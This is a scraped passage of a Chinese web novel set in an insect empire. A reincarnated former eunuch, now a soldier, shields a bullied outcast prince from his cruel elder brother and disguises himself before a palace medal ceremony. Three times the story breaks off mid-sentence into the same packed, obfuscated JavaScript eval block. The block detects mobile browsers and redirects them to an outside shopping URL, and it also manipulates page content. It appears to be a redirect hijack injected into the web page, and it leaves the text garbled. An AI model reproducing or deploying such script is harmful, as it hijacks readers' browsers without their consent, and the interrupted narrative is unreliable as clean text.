走在前面两只开路的,是一只身形高大略显肥胖,刚成年不久的棕发雄虫;还一只处于成年定型期,有着一对细长眼睛,一对巨大蜻蜓翅膀的短青发雄虫。 “棕发黑眸,B级雄虫,帝国法院大法官科里鲁的独子,一般称他叫小科里鲁—— “双翅青发,A级雄虫,是皇廷下属独立情报部部长亚盖尼斯的长子,艾德弥·亚盖尼斯—— “他们都是三皇子圣尤金殿下的虫伴,曾陪同三皇子殿下一起出席过帝国公开的盛典仪式。虫主阁下,我们军部的情报可不比皇廷下属独立情报部差哦。” ——光脑第一时间将两只雄虫的信息告知了克莱,还不忘感叹一下。 光脑的这些发言,是直接给克莱的,外界不会听见,同样克莱对光脑系统的命令也是。 那么,接下来姗姗而来的这位,也就不用介绍了。 华丽高贵的皇族礼服,银灰色的底质,表面覆盖着无数细密的精致菌丝,这是皇廷服饰顶配的规格。 蓝眸金发,精致面容,肌肤雪白,气质高傲,从黄金色的发丝到精致领口的暗扣,从刚定型的额间美丽的虫纹,到身后两条特别的虫尾,无可挑剔地完美—— 克莱在虫网的新闻上见过他,整个圣聂特帝国也没有虫不认识他。 刚完成盛大“成虫礼”,备受宠爱的三皇子殿下,圣尤金。 跟在三皇子殿下身旁的还有一只黑色长发的成年亚雌,年长一些,应该是负责照顾皇子起居的侍从。 “皇廷文书,亚雌耳绮罗,A级,也曾在公开盛典上出现过,很受三皇子殿下器重,他近来在帝国枢机内阁很活跃。”光脑扫描过黑发的亚雌,如是说。 克莱此时外披了一件皇廷近卫军类似的黑色披风,他正式的觐见受奖特制深蓝军团礼服藏在了披风下,骨尾和骨翼都收了起来,看起来确实像一个普通的皇廷近卫军雌士兵。 “属下见过三皇子殿下。”克莱是知道礼仪的,他的行礼不卑不亢,低下头去,没有一点破绽,在肥胖的棕发雄虫开始不耐烦地训斥前就完成了。 “行了,一边去,别行礼了,磨磨唧唧的!快说,刚才跑过来的那只丑虫去哪里了?!快!”小科里鲁显然没把克莱放在眼里,或者说,他根本从没有把皇廷近卫军放在眼里。 “是——去了那边。”克莱低着头,指向廊道内侧,一个和雌父雕像完成不相干的方向。 “啧,真能跑,这只臭废虫,一天到晚耽误我们的时间,三皇子殿下,等会儿不能轻易饶过他!”声音尖细些的青发雄虫艾德弥靠近三皇子圣尤金,继续说道,“可惜的是,今天过后,听说他就要被逐出皇廷——我们很快就要失去这个玩具了,殿下,怎么办?而且,您今天还有重要的安排,时间很有限。” “见几只军雌少将,给个嘉奖,耗费不了殿下多长时间!你少说几句,没见到殿下因为这事,心情不好吗?”肥硕的小科里鲁瞪了艾德弥一眼。 “军雌少将?”精致高贵,天之骄子,帝国备受宠爱的三皇子圣尤金,此时淡淡地开口说道,“一群自以为高级的工虫奴而已。” 低着头的克莱在这一刻,深深皱起眉。 4. 第四章 F级 工虫奴,是对一只虫,极具贬低的蔑称。 类似大绕王朝皇宫内,克莱小太监时期,被骂过的“下贱胚子”或是“狗-娘-养的”。 总之,是一种很脏的骂虫词汇,比“我艹你雌父”这种发泄性的话语还要严重,即使在平民虫和脏话是家常便饭的低阶军油子中,这种骂虫的话都没少出现。 但克莱没有想到,一个受帝国万千宠爱的皇子,会这样随口贬低他们这些为帝国奋战的军雌们。 “圣尤金殿下,请注意您的言行。”一旁的黑发亚雌耳绮罗忽然出声提醒道,他的目光轻轻扫过默默站在一旁的克莱。 金发碧眼的三皇子圣尤金,冷冷地哼了一声。 “耳绮罗,你这虫就是太过小心了,殿下也就抱怨几句,那些A级军雌少将没什么了不起,一个也配不上我们殿下,我们殿下从出生就是A级雄子——行了,抓紧时间,找到文森那家伙,这一次我要将他的红头发全都剃光!”小科里鲁嚷了起来,小小一对眼睛里,闪着暴虐和兴奋的光。 克莱暗暗握紧了拳,黑色的眼眸冷了下去。 “殿下,您不能再这样胡闹了!您应该知道的,虫帝圣座很重视这一次的嘉奖仪式,也给了您选择的权利和机会。”耳绮罗依旧在劝说。 圣尤金侧过头,冷冷地说道:“本殿说不去了吗?我会按圣雄父的意愿,代表圣座给他们嘉奖,再从他们中,选一位A级军雌当雌君,还不够吗?“ 接着,他又无所谓得摊手:“刚颁布《圣约莫新恒典》,圣律院那边有反对的声音,说皇廷要以身作则遵守新恒典,圣雄父不知哪里听了闲言闲语,说本殿随意玩弄雌虫,都说是谣言,还非让本殿听从安排,乖乖和一只军雌订婚,凭什么?为了管住我?本殿才刚成年,那些高阶的军雌多无聊,还没有花样多的雌奴们来劲。” “殿下!”耳绮罗的劝说,一点用都没有。 “殿下说得没错,等级越高的军雌越端着,有时还不受精神力控制——在床-上可不好玩。刚才说,文森是往这边去了吗?先抓住他,让殿下开心一下!”说这话的青短发的雄虫艾德弥。 克莱放缓了呼吸,握拳的手冒出青筋,骨尾隐藏在披风下,忍了好久,才没有甩过去抽这几只刚成年的雄虫。 以前在大绕皇宫里当太监时练出来的忍功,此刻都快耗尽了! “去,抓住那只废虫,本殿要在嘉奖仪式前,将他的两只胳膊都折断,上一次折断是一月前吧,现在应该长好了,可以再折一次了。”圣尤金完美无缺的面容上,露出愉悦的笑容。 “圣尤金殿下,他,毕竟是您的——”耳绮罗的声音低了下去,他已经意识到劝不住了。 如果劝得住,上个月胳膊就不会折断了吧。 克莱想起刚才扶住雄虫时,碰到了他的手臂,不知有没有碰到了他的痛处。 “一只F级的废雄虫,活着都是浪费粮食,他怎么可能是我的弟弟!圣雄父都从没承认过他是皇子!”圣尤金利声打断了耳绮罗,转而又冷冷一笑,“明天他就要被送出皇廷,哼,之后估计很难活过三个星天。今天,本殿一定要玩得尽兴!” 克莱的目光落在皇廷廊道的地面上。 皇廷的地面是昂贵的琥珀晶石,镶嵌着金虫粉的拼花。 美丽又华贵,完美无瑕地遮挡住了主星地表土层原有内在污泥,肮脏不堪的污泥。 三只虫簇拥着外表美丽华贵,在虫网的报道中完美无瑕的三皇子殿下,循着克莱所指的方向,去寻找那个可供他们欺负玩乐的对象—— 皇廷内那个从没有出现在公众视野里的四皇子殿下。 文森——皇子的名字里都会带上“圣”字,无论雄雌,可他没有。 原来,他叫文森。对于克莱而言,有没有“圣”字根本没关系。 克莱垂下的目光柔和了起来,他在等那群虫走远,这样雕像后的文森就安全了。 可就四只虫离开的时候,三皇子身旁的亚雌耳绮罗忽然想起什么似的,若有所思地转过头来,望向雕像旁如同一个听话的近卫士兵站在那里的克莱。 “之前好像没见过你——你是新来的皇廷近卫兵?”耳绮罗是敏锐的,后来克莱也一直觉得,他比包括三皇子在内的其他三只虫聪明了不只一星半点。 克莱抬眸间,就已经给光脑下了指令。 光脑迅速给自家虫主,拉出了一长列的近卫兵详细名单,并挑选出和克莱身形最相近的一位:“这个叫克尔的近卫军新兵,二十二岁,B级军雌,一个月前加入的皇廷近卫军,刚好有几分像虫主您,不过没您好看(实话实话,不是夸虫主您哦),您可以暂时借用他的身份。” 克莱正准备开口回答,可随着耳绮罗一起扭过头来的三皇子圣尤金眯起眼,望向克莱的脸。 圣尤金先发声,毫不掩饰轻佻地打断了他:“呵,聂盖特老东西那边进新货了?终于有点虫样了,过来让本殿看看,这个玩不玩得开——” “殿下,我们……还是先去找文森小殿下吧!”耳绮罗眼见圣尤金对克莱来了一些上不了台面的兴趣,立马不再追问克莱,迅速转移了话题。 接着,他又对克莱使眼色:“赶紧退下!” 所幸,小科里鲁和艾德弥的注意力也都在寻找文森上,而三皇子圣尤金在被簇拥着离开前,还扭过头饶有兴趣地深深看了行礼恭送的克莱一眼。 而实际上,此时礼仪一丝不差的克莱,只觉得忍得后槽牙疼,他抿住嘴没说什么——这就是受千万虫民称赞的三皇子?!他应该也才刚成年吧! 一直机械化温和的光脑都透出了几分愤慨:“虫主阁下,三皇子殿下太过分了!从没有虫敢这样对您!他简直就是——” 垃圾?不,在认识到垃圾是可再生资源后,克莱就很少用一些不配的虫渣羞辱垃圾了。 克莱不露声色地将这笔账记下。 “他们已经走远了。”随着四只虫的身影远去,克莱来到雌父的巨大雕像前,他轻轻地敲了敲雕像下的石墩。 现在,暂时安全。 半晌,一撮卷卷的红头发才从雕像后冒了出来。 那双幽绿的眼睛,望向雕像前的克莱。 大大绿眼睛,早已不似五岁幼年雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478953|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫般清澈天真,那潭绿太深,藏了许多不该是一个年近十八岁,还没有成年的少年雄虫该有的情绪。 克莱向雕像后的雄虫温和地伸出手,但暗红头发的少年雄虫却只是低下了头。 “谢谢……”很低的声音,低到尘埃里。 紧接着,那卷红头发就飞快地消失在了雕像后,克莱伸出的手,没有得到回应。 待到克莱直接绕到了雕像后——那里早已没有了暗红卷发少年雄虫的踪影。 已经走掉了吗? 克莱想起适才少年雄虫的眼神,他应该早已经不记得自己了。 意料之中,但——他能顺利逃脱三皇子那帮恶虫的追捕和玩弄吗? 克莱抬眸,他暂时切断了光脑系统的连接,这种放心不下的担忧,会牵动一些前世深层的记忆。不算特别好的记忆,或许可以说很糟。 克莱从不觉得自己是只爱多管闲事的虫。 他前世身为太监时,学会的第一件事就是不要多管闲事,和他一起进宫的小太监就是因为多嘴说错了一句话,被活活打死了,就在他进宫的第二天。 可是,被派去照顾小皇子姜延业时,身为贴身太监的他不得不多管一些。 因为他不管,那孩子就完全没人管了。 他们也被宫里的人欺负过,曾经的,每一天。 一个没权没势又年幼不招喜的小皇子,一个空有一腔热血却只能磕头作揖的太监——那些心情不好的上位者们,总会轻而易举地找到撒气的对象。 被莫名其妙按在后花园的假山后使劲揍,小主子和扑过来护着的小太监一起受着,直到对方打尽兴为止,最后也不过是一句“闹着玩”了事。 被从身后推进冬日冰冷的荷花池,被救起的孩子深夜高热,小太监去求人救命,一宫连着一宫地求,磕破了脑袋,硬生生闹到了老皇帝那里,小皇子有了太医,小太监被赏了一顿板子。 还有,永远都吃不饱还带着霉味的饭,连给的小米粥都是馊的,没有炭火也没有什么瓜果糕点,给他们宫里的物件一直缺斤少两,甚至没有。更别提什么新的衣服和布料,直到被迫登基那天,可怜的孩子穿上了那件注定带血的龙袍……可能是他唯一的新衣服。 还是准备给死去太子的那套改的。 克莱记忆里的那件带血的龙袍褪去了金色,连着血污也淡了,成了白色,和红卷发的少年雄虫文森身上那件不合身的长袍一般的白色。 放心不下,完全放心不下。 “你怎么会问起四皇子殿下?”皇廷近卫军的长官聂盖特,是克莱养父里昂特元帅的老部下,十多年前也是在前线立过战功的军雌,年少时的克莱在赛弗伦军团里就和他混熟了,一直叫他叔叔。 “文森小殿下,唉——从出生就是F级雄虫,这个等级的雄虫精神力极度不稳,无法完成最简单的精神梳理,长大后连让雌虫受孕的能力都没有,基本从一出生就废了——诞下废虫,对于虫帝圣座而言,是耻辱。”聂盖特已经上百岁了,但看起来和人类的30多岁的样貌差不多,他黑发棕眸,有着一对长触角,说话时,触角会动。 5. 第五章 疤痕 皇室为了掩盖耻辱,试图漠视,甚至逐渐抹杀他的存在,以致连军团少将连接的高阶权限的光脑系统资料库里,也查不到关于他的一点资料。 “皇廷出了F级的雄虫,没有一出生就被立即秘密处理掉,已经是虫帝圣座和大祭司的仁慈了。”聂盖特轻轻压低了声音,触角轻轻一晃。 他显然清楚地知道,四皇子文森在宫廷里多年的艰难处境,但已习以为常。 应该说,整个皇廷都习以为常,于是近卫兵们对于文森被三皇子或是别的皇子无论怎样的欺辱折磨,都选择视而不见,那些亚雌的侍从更可能从小就一直苛待于他。 克莱想起幼年时的文森,远远望见亚雌侍从走近时的慌张,以及适才干瘦的少年雄虫眼睛里的冰冷和复杂。 克莱点了点头,没有反驳。 作为一个曾经的人类,特别是作为另一个不受宠小皇子的贴身太监,他共情文森的遭遇。 但在虫族生活了二十四年,克莱也已熟知这个世界的另一种意义上的等级森严和规则的残酷,无论雄雌,等级和实力就代表了一切。 也因此,无论是掌控皇权的皇廷,还是代表至高无上神权的圣律院,都更需要高阶的子嗣后代和弟子传承来证明其自身的权威。 F级,是对皇廷高贵血脉的亵渎,等于从出生的那一刻,就打上了可耻的标签,从社会意义上宣判了死亡,除非—— “雄虫在成年时,也会有二次分化突破进阶的机会吧。”克莱轻声说道。 二次分化——在虫生几近唯一的一次可以进阶改命的时间节点上,雄虫和雌虫都一样,都是在成年期,不一样的是军雌分化进阶后,会拓展精神海和大幅度提供战斗力,而雄虫若分化进阶成功,主要是提升对精神力的掌控和信息素的变化。 克莱便是在成年后从B级二次分化,突破到了A级。有消息说,皇廷内的大皇子圣亚瑟出生时等级也不高,但成年期时进阶到了A级,才被虫帝开始重用。 当然,也有不少分化进阶失败的例子。 而F级,说句实话,二次分化可能大幅度进阶的可能性,可谓微乎其微。 文森看起来差不多到了成年期,但还没有开始长出虫纹。 “如果不是还有这一丝机会,文森小殿下估计早就被赶出皇廷,或者在某天忽然消失掉了。”聂盖特说着,一边递给克莱两个小小的特制虫族香料贴。 虫族香料贴很薄,大致拇指片大小,看起来如同一个电脑芯片,是一种特殊的星际生物质地。 “这个贴在手心上,会融入皮肤,等会儿三皇子圣尤金殿下代表圣座给你们嘉奖,靠近你时,你按压手心,香料的气息就会放出来,散布全身。”聂盖特凑近克莱附耳低声,他头顶的两只触角正以与平日不同的频率轻轻摆动,如同两个精准的雷达,侦探着四周的动静。 光脑也不由跟着紧张起来:“报告虫主阁下,我们现在位于皇廷近卫军岗亭总控制室内,除了您和聂盖特长官,没有发现任何第三只虫存在的踪迹和室内监控设备开启的信号,你们现在的对话绝对保密,一切安全!” “——这种虫香料,是普通的兰晶果香,却是圣尤金殿下最讨厌的气味。” 聂盖特顿了顿,才放心下来,接着说道:“圣尤金殿下刚成年不久,精力比较旺盛,有时会从近卫军里挑年轻的虫去寝宫,皇廷肯定是不管的,我们试过许多办法不让他那么容易得逞,这种虫香料最有用。” 克莱想起三皇子圣尤金离开前,望向自己逡巡的那一眼—— “麻烦聂盖特叔叔费心,我是否也需要改变一下容貌?”简单毁个容之类的,其他认识的军团少将或是虫帝问起来,就说是吃虫辣食物过敏了。 “我看看,嘿嘿,别说,小克莱,几年没见,你这整星年都在星际战场上,模样到是越长越俊朗了,本来底子就好——军校那阵子,应该就有不少雄虫追你吧。”聂盖特眯起眼,笑着打趣克莱。 克莱垂眸,也带着笑意:“聂盖特叔叔,过奖了,是您偏爱我,一直记得我的样子。” 接着,他就很自然地把话题带了过去:“叔叔您那些年在前线奋战,后来又护卫皇廷,劳苦功高,兢兢业业,军校和如今军团里,像我一样的军雌们都很敬佩您。元帅也向我常提起您当年的战绩,说您是虫族最锋利的刀刃之一。” 聂盖特闻言哈哈大笑,一对触角跟着摇,他拍了拍克莱的肩膀:“小克莱呀,嘴还是那么甜。” 克莱欠身微笑,不卑不亢:“实话实说。” “用灰树脂弄点疤在脸上吧,和真的疤没有区别,就说上战场的军雌哪有不受伤的?”聂盖特一边笑眯眯地从指挥控制台下的抽屉里拿出一小盒虫族的灰树脂膏递给克莱,一边说道,“这回来主星的年轻军雌中,应该也有做梦都想成为圣尤金殿下雌君的雌虫——耶梦德军团的卡林若来了吗?如果能得到这次皇家婚配的机会,他的雌父和雄父估计都要高兴坏了,就让他们好好表现一下。” 克莱点了点头道谢,不由想起自己还是大绕王朝皇宫里的小太监时,听宫里人说起皇上选妃,有的秀女为了能入宫成为妃嫔,四处私下打听皇帝的喜好,而有的秀女为了不被选中,反其道而为之。 现在不做太监了,本以为终于可以堂堂正正做一回将军,没想到从战场上回来,拿了一出类似秀女的戏本。 光脑冒个泡:“虫主阁下,秀女是哪种虫呀?” 克莱微微眯起眼。 好奇宝宝光脑立马识趣回到休眠待命的状态。 做人难,做虫也不容易(光脑:嗯,做系统也不容易!超小声,说完立马装死)。 但不管拿的是哪个戏本,唱的是哪出戏,既然登了台,应了角,就要把自己的戏唱下去,把整台的戏圆上去——这是曾经的老太监,教给小太监的话。 克莱一边看着芯片一样的虫族香料贴在手心中变透明,迅速融入肌肤,很快就没有了一点痕迹,一边又想起文森的事,他试探性地继续问道:“既然文森殿下还有二次分化的可能,短时间内,他应该不会被送出皇廷吧?” 圣尤金说过,明天文森就会被逐出皇廷,之后可能活不过一个月,如果这是真的,那执行命令的只有可能是已经全然了解四皇子情况的皇廷近卫军。 “这个——”聂盖特的触角在这一刻微微僵住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478954|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他迟疑了一会儿,没有正面回答克莱的问题,只说:“文森小殿下今年已经十八岁了,一般的雄虫从十七岁就应该开始长出虫纹进入成年期……皇廷近来和圣律院因为刚颁布的《圣约莫新恒典》闹得不愉快,圣律院又一直对F级的雄子生活在皇廷里,有一些看法。克莱,你常年在星际战场前线,主星和皇廷这边的情况,不一定全部了解。听叔叔的话,有些事还是少知道的好。” 话说到这里,克莱也就没办法继续问下去。 他一边将话题转回到军团内一些无关紧要的八卦上,不让聂盖特过于起疑,一边暗暗通过精神连接给光脑下了指令。 “我要近一个星月内有关《圣约莫新恒典》的所有虫网新闻,以及《圣约莫新恒典》的具体详细内容,特别是关于低等级雄虫的新法条。” 光脑:“收到,尊敬的虫主阁下,请稍候……” 过了一会儿,眼看皇廷正殿的嘉奖仪式时间将近,聂盖特帮克莱仔细看了看他用灰树脂塑的疤痕妆,一边告诉他正式觐见时的流程和皇廷主殿的走位,一边还不忘邀克莱之后到自家吃饭。 聂盖特绝对发自真心,包括他在内,赛弗伦军团看着克莱长大的叔叔伯伯们都很心疼这个从小没了雌父不得不住在军团里的小雌虫,而且克莱从小就是个沉稳聪慧,乖巧懂事,性格讨喜而且还长得好看的孩子。 克莱微笑着应下,他从星际前线回来的路上,顺道经过素有边陲贸易中心之称的瓦利克星时,买了一些塞拉芬主星没有的土特产,这次来皇廷不方便拿给聂盖特,刚好可以带给他。 离开近卫军岗亭总控制室后,已脱下近卫兵黑色长袍的克莱,一身挺拔且没有一丝褶皱的深色少将军服,胸前的帝国徽章熠熠闪烁,即使脸上多了几道深深的疤痕,也难掩威仪飒爽的英气。 有光脑引路,他折过了几条廊道,又穿过一道由活体藤蔓编织的拱门,来到皇廷主殿前。 在这里,应召而来准备接受觐见的年轻军雌们已经在列阵以候。 远远地,一个铂金发浅紫眸,额间有着形似蝴蝶状虫纹的优雅军雌见到克莱,笑着轻轻对他招了招手。 光脑:“虫主阁下,是科赛特学长。” 正是曾发信息提醒克莱的——贝希摩军团的科赛特少将。 科赛特一见到克莱的脸,立马明白是什么回事,忍不住笑了起来,还不忘打趣:“学弟,是在回主星路上遇到伏击了吗?看起来,战况惨烈呀?” 克莱问了声学长好,也笑了,他和科赛特站到了一起:“是呀,极其惨烈,脸上不小心留了疤,不知道能不能好。” 科赛特浅紫色眼眸流转,悄然将头偏了偏,在克莱面前,摊开了手心。 手掌心中明明什么也没有,但克莱立马明了。 两只军雌心照不宣,对视而笑。 同样不愿中选的“秀女”一枚。 也就在这时,一声冷冷地轻哼,从另一边列队传来—— “受了伤不如告假,觐见虫帝圣座如此重要的场合,特意带伤出席,是想证明自己有多厉害吗?”冷冷的声音,不大不小,刚刚好是故意说给克莱和科赛特听的。 6. 第六章 突发 科赛特斜了一眼对方,克莱淡淡如常。 说话的这位年轻的军雌,克莱和科赛特都认识,也就是近卫军长官聂盖特曾提过的,耶梦德军团的那位——A级军雌卡林若少将。 卡林若少将,银发棕眸,雌父是耶梦德军团的卡奇上将,也是三大军团中唯二的上将,军阶仅次于最高统帅里昂特元帅,雄父叶劳伯也是帝国枢机内阁大臣,有望出任下一任内阁首相,但和科赛特的雄父在枢机内阁向来政见不合。 一出生就是A级的军雌卡林若,一向眼高于顶。他看不上雌父早逝,又在一般的虫看来几乎被亲生雄父抛弃掉,却被元帅莫名收养的克莱。 卡林若比克莱年长一岁,由于克莱入军校早,在军校时两只虫刚好是同级,但从第一次新生考试,他就一直被当时只是B级雌虫的克莱在成绩上压了一头。 这一压,就是好多年。 待到克莱成年从B级二次分化突破成为A级,而卡林若的二次分化却没能更进一步到S级。卡林若对于克莱的那种敌视,也就越来越不加掩饰了。 见面总得冷嘲热讽几句。 至于科赛特,他的雄父和卡林若的雄父叶劳伯在内阁会议上好几次直接进行精神力对抗,差点扰乱了光脑系统,作为子嗣的两只军雌自然也不可能多友好。 之前皇廷近卫军长官聂盖特说的没错,如果有能获得皇家婚配的机会,还是嫁给皇廷最受瞩目的三皇子,卡林若全家都求之不得。 科赛特低声说了句:“他肯定也得到了消息,看他的翅膀,专门去抛过光。” 克莱莞尔:“看起来,势在必得。” 科赛特想了想,优雅地低眸:“我们是安全了,但也不希望是他……” 如果卡林若成为三皇子的雌君,枢机内阁的局势很可能会有大的变化,乃至军部军团那边—— 这次应召来主星接受嘉奖的,一共有五位军雌,科赛特说得没错,一切还没有定论。 当主殿的光门虚化,所有光脑系统静默,一位衣着华丽的亚雌侍从长,带着黑色长袍的近卫军侍卫出现在大门的一侧,宣告着嘉奖仪式的正式开始。 主殿内,流光溢彩,不是克莱曾经意识中金銮殿般的金碧辉煌,但有着高纬度文明的另一种意义上的奢华。 这是一座全然展现出圣聂特帝国荣光的华丽殿堂。 四周的墙柱上,波动缓慢变幻着光色,此刻是一片庄严的金紫色,如同帝国星际飞船启航时,永恒的黎明。 主殿正中央,地面是一整块陨星髓岩镶嵌。岩石内部封存着亿万年前的星辰碎屑,在头顶透明的天幕辉光映照下,闪烁着肃穆的光芒。 两侧肃立着两排身着礼服的皇室近卫军,为首的是庄严正立,目不斜视的近卫军长官聂盖特。 虫帝圣约莫陛下,端坐于高台之上。 刚过百岁的虫帝,俊朗又威严的雄虫,一袭星辉丝织就的浅金色礼袍,金发压在了绿翡翠的皇冠之下,锐利如尾勾的蓝眸,不动声色地扫视着殿内的每一只虫。 克莱和其他军雌一样,单膝跪地,恭见圣座。 “不必那么拘礼。”圣约莫陛下轻轻抬了抬手指。 在位七十多年的圣约莫陛下,向来以宽厚仁慈著称,比起前代君主完全听令于圣律院,过于推崇雄虫而忽略为帝国征战的军雌们,圣约莫陛下更善于各方权力的制衡。 圣聂特帝国,雄尊雌卑,新颁布的《圣约莫新恒典》中的一些新法条,相对旧恒典而言,对雌虫更友好,也因此,守旧的圣律院对于新恒典一直颇有微词。 圣约莫陛下微笑,《圣约莫新恒典》是他的政绩,而他的政绩不止是这些。 圣聂特帝国正是在他的统治之下,由上一代的内乱不断、星球领土被外邦沙聂虫族不断侵蚀,到如今帝国境内相对和平,欣欣向荣之势缓缓突显,三大军团也在里昂特元帅的统领下,逐渐收复帝国被侵占的失地。 毫无疑问的,高位之上的圣约莫陛下,在整个圣聂特帝国都颇有威望。 于是,连站在他下方一侧,备受宠爱的三皇子圣尤金,似乎也熠熠生辉。 但实际上,起身后的克莱留意到,圣尤金的目光自上扫过包括他在内,殿内五位年轻的军雌。 那种目光——没有一丝尊重,甚至不是好奇。而是一种漫不经心的,带着些许无聊的打量,仿佛在看五件即将摆上货架的商品,又像是在数着自己不得不应付的功课。 他的嘴角微微下撇,流露出一丝懒懒的倦怠。 站在他身侧的一位雄虫老臣,看服饰应是枢机内阁的某位负责礼仪的大臣,正低声说对他着什么,似乎是在叮嘱等会儿授勋的流程。 圣尤金微微侧头听着,但克莱看得出,他根本没在听。他的目光时不时飘向殿侧,站在亚雌侍从身后,虫纹更加妖艳的几只雌奴,目光里反而多了几分兴趣。 克莱的骨尾在礼服下不易察觉地轻轻一摆。 前世,太监们大多有个习惯,不能当面忤逆主子,但是实在是对于一些行为看不上,又没办法当众说什么,就垂下眼,看地面。 克莱不由看向地面。 他的手指抚过掌心,快点结束吧,如果卡林若真的那么愿意成为三皇子的雌君,克莱不由想祝他,如愿以偿。 “诸位帝国的少将。” 虫帝的声音不大且平和,却清晰地传入每一只军雌的精神海中。 “今日,本帝座以圣聂特帝国之名,嘉奖在列五位——于边境战事中功勋卓著的年轻军雌。你们的战绩,是帝国的荣耀;你们的忠诚,是丰功的铭记。” 圣约莫陛下微微转头,看向身侧的爱子,眼中掠过一丝柔和:“圣尤金,去吧。替本帝座,替圣聂特帝国,为年轻的军雌少将勇士们授勋。” 三皇子圣尤金起身,动作优雅,到是一丝不错。 他走下台阶,双尾随着摆动,身后跟着两名捧着琥珀勋章托盘的亚雌近侍——这是一种特殊的琥珀,内里存有会发光的圣晶虫,无论何时都闪耀着华丽的紫金光,便是帝国荣耀之光的象征。 克莱看着这位三皇子殿下一步步走近。 按照一般的授勋流程,三大军团也是有先后之分的,排第一的,一定是克莱所在的赛弗伦军团,其次是另一侧卡林若所在的耶梦德军团,最后是科赛特所在的贝希摩军团。 倒不是克莱,一定要争这个第一,而是因为他所在的赛弗伦军团,是当之无愧作战最勇猛的前锋主力。 就在当下,赛弗伦军团的军雌们正在前线奋勇作战,他们中的前锋小队会冲在最前面,死伤往往也最严重——克莱不仅是代表着自己,更是代表着他们。 这在帝国三个军团,整个军部都公认的,不成文的规矩——作为教授礼仪的枢机内阁大臣,这些基本的常识是一定会告知的。 可是这一次,衣着华丽的三皇子殿下圣尤金,随意地又扫视了一下五只军雌,明明克莱站在左边第一顺位,但圣尤金只是远远看了他一眼,不知是看到了他脸上的伤痕还是别的什么原因,连走近他都不太愿意,都用不到香料贴,就这样任性地先跳过了他。 接着是另一侧卡林若和另一位耶梦德军团的军雌,圣尤金看了一眼身体挺得笔直,紧张得额头出汗的卡林若,随性地挑了挑眉,仿佛也不太满意,便又折向克莱的身后,来到了铂金发浅紫眸,额间有着蝴蝶状虫纹的科赛特面前。 科赛特在那么一瞬,不免微愣。 在一个军律严格的组织里时间久了,于他作为少将的潜意识里,理应是赛弗伦和耶梦德军团的军雌们先授礼,之后再是自己。 这是规矩,也是对前锋主力的敬重。 圣尤金殿下就这样随意地破坏了规矩,让惯来以优雅著称的科赛特,一时不知是接受好,还是不接受为好。 不仅是科赛特,不远处的雄虫老臣都快急得跳脚了! 克莱连忙对身旁的学长使眼色,不管圣尤金是否错了,但眼下肯定是只能先接受,且不能再用香料刺激他。 克莱看得出来,这位被宠坏了,对一切都满不在乎,且算不上多聪明的皇子,现在受不了一点刺激——不然,说不定又做出什么更错的事。 所幸,这次仪式不是直播。新闻后续播出时应该会剪辑。 不然,圣尤金不知是有意还是无意的失误,很有可能会引发军团的矛盾和虫众们的哗然。 科赛特随即反应过来,行礼准备去接—— 没想到,圣尤金殿下仿佛恍然又想起有这么个顺序般,他随即转身又走回了另一侧,硬生生让科赛特空行了一个礼。 很尴尬,非常尴尬,高位上的圣约莫陛下不由皱起了眉,一旁之前给圣尤金讲解的雄虫老臣都快昏厥过去了。 更尴尬的是,圣尤金殿下折返过来,走到卡林若的身旁,卡林若激动地翅膀微颤,刚准备行礼,圣尤金却又望向了卡林若身旁的另一只军雌少将。 卡林若脸上闪过一丝失落,整只虫僵在原地。 克莱察觉出,圣尤金确实是想跳过自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478955|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但由于没有认真听老臣讲流程,加上他又随心所欲,所以跳过克莱后,圣尤金的授予顺序,就全乱了。 但无论如何,选雌君是一回事,按不按军团的规矩,来授予嘉奖是另一回事。 跳过克莱,让科赛特空礼,忽略卡林若,圣尤金一系列操作下来,无疑是对三大军团,整个军部的轻视! 高位圣座之上,虫帝圣约莫陛下的脸,沉了下来。 也就在这个时候,主殿外面隐约传来一阵喧闹的声音。 近卫军长官聂盖特长长的触角微动,几只白袍的近卫兵便去处理喧闹声音的制造者——近卫军是不会允许神圣的嘉奖授予仪式被打扰的。 这只是很小的一件事,近卫军很快就能处理好,根本不会对授予仪式产生影响。 但是,已经察觉到高座上虫帝面色不悦的三皇子圣尤金,却忽然停止了琥珀勋章的授予,转而面对圣约莫陛下开口道:“圣雄父,有虫在干扰帝国神圣的仪式——圣雄父,我伟大的圣座父君,这种干扰是不能被原谅的!” 连香料贴都没用就被空礼的科赛特微微眯起眼,悄然和身旁的被率先跳过的克莱对视。 两只军雌在各有各不爽的同时,也猜到了三皇子殿下此时的用意—— 转移注意力! 一旦虫帝询问主殿外喧闹的事,即使是很小的一件事,也足于让授予仪式暂时中断。 之后重启授予仪式,圣尤金就有机会纠正之前顺序的错误。 